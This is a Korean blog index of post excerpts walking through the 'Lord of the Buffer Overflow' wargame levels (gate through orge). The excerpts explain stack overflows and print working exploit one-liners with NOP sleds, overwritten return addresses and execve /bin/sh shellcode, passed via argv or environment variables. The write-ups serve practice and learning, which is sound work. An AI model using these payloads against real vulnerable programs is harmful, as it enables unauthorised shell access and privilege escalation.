본문 바로가기

wargame/S_LOB

darkelf->orge 문제다. argv[0]이 77이 아니면 에러를 뱉어낸다.그래서 쫌 고민을 해봤더니..디렉토리를 77자리를 맞추거나 뭐 그런식으로 해야된다. .과 orge를 빼면 72라서 python 으로 /를 72개 출력하고 실행하면 argv error가 뜬다. 우선 정상작동이 된다. gdb로 보기위해 coredump를 할거다 gdb -q -c core 로 esp를 보면 이렇게 돼있다.argv[2]에 nop를 때려밖았으니 ret 주소를 argv[2]에 적당히 넣고 쉘코드를 때려박으면굿ㅋ 내 페이로드.`python -c 'print "/"*72'`orge `python -c 'print "\x90"*44+"\xc0\xf7\xff\xbf"'` `python -c 'print "\x90"*1000+"\x31\xc0\x50\x.. 더보기
wolfman->darkelf 개강을 기념하는 마음으로 오랫만에 풀어봤당.. 먼저 문제를 보면..달라진 부분은 argv[1]의 길이를 체크한다. 사실 큰 문제는 없다. argv[2]를 사용하면 되니까! 똑같이 풀어볼거다 gdb로 disas main을 보면.. 엄청 길다.버퍼의 사이즈는 2c(44byte), ret 4byte다.. break point 부분은 strcpy 한 다음부분에 걸고.. argv[1]에는 nop 44byte와 ret로 뛸 주소를 넣고.. argv[2]에 넣어야겠다. argv[2]에는 nop 1000개랑 쉘코드를 박을거다 shellcode는.. ./darkelf `python -c 'print "\x90"*44+"\x44\xfb\xff\xbf"'` `python -c 'print "\x90"*1000+"\x31\x.. 더보기
orc->wolfman 문제다.goblin문제와 같지만 bufer hunter가 추가되어 버퍼를 비운다. 1. 환경변수 사용불가2. 카나리존재3. buffer를 비움 -> 버퍼내에 쉘코드 불가 goblin과 똑같은 방식으로 풀었다. buffer를 A로 44byte 채웠고, ret 4byte에 이동할 주소를 넣는다. 그리고 NOP로 채우고 쉘코드를 실행한다. 내 페이로드다./wolfman `python -c'print "A"*44+"\xe0\xfb\xff\xbf"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 성공 love eyuna 더보기
goblin->orc 시험기간 & 걍 휴식으로 인해 너무 오래 쉬었지만 마침 계절학기 교양이 핵노잼이어서 다시 시작ㅋ문제다.memset을 이용하여 계속 환경변수를 초기화시킨다. 근데 여태 몰랐는데 문제 상단에 주석으로 힌트가 달리는거같다..... 이래서 문제를 잘 읽어야 하는데..........ㅋ 기말도 문제 제대로 안읽어서 망했으면섴ㅋㅋㅋ문제자체에도 egghunter라 써있는걸 보면 환경변수를 이용할 수 없는거같다.argv[1][47]에 \xbf가 들어가야된단다. canary인거같다. 문제가 쫌 긴만큼 다시 정리해보자면1. 전역변수로 환경변수들을 선언 -> 0으로 초기화2. buffer의 size는 40, int i의 사이즈 4 합하면 44..3. canary값 존재 먼저 tmp폴더에 orc파일을 옮기고 gdb로 실행해봤는.. 더보기
cobolt -> goblin 문제 소스다. gremlin -> cobolt 풀때와 크게 다르지 않지만,buff[16]에 gets 함수를 이용하여 입력받는다.그리고 buffer를 출력한다. gremlin문제와 크게 다를 거 없어서 바로 시작했다. 우선 환경변수에 export를 이용하여 SHELLCODE를 등록하고, SHELLCODE의 주소값을 넣어 ret를 변경 시키겠다. export SHELLCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') 쉘코드 등록. export한 SHELLCODE의 주소는 저번에 작성한 c 파일로 주소를 확인한다. 0xbffffec.. 더보기
gremlin->cobolt gremlin->cobolt cobolt 문제다.버퍼의 사이즈가 16byte로 사이즈가 작다..그렇다면 환경변수를 이용하여 shellcode를 넣어보자 export SHELLCODE=$(python -c 'print \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') 하고 env 명령어로 보면 잘들어가있다.그럼 이 환경변수에 등록된 쉘코드의 주소값을 알아보자.소스는 간단하게 c로.. #include int main(void){printf("%p\n",getenv("SHELLCODE")); return 0;} 후 컴파일 해주면 됐당 그렇다면buffer(16byte) = NO.. 더보기
gate->gremlin LOB gate->gremlin 문제다. telnet으로 접속하면 gate / gate 접속하면 gremlin문제와 소스가 있다.간단하다. 입력을 받아서 buffer에다가 strcpy를 한다.gdb를 까기전에.. 현재 setuid상태로 gdb로 안된다.고로 cp gremlin /tmp로 tmp에 옮겨서 해보자. 먼저 사이즈를 0x100*(256)만큼 esp에 할당해준다. buffer(256) SFP(4) ret(4) 이형태이니 buffer와 sfp를 덮어씌우고 ret에 주소를 변조하여 eip가 미쳐 날뛰게 조작하자. b p를 strcpy가 실행된 다음인 *main+59에 걸어주자 먼저 A를 256개 넣어주고 BBBB를 넣어주자. r `python -c 'print "A"*256+"BBBB"'` 입력이 잘.. 더보기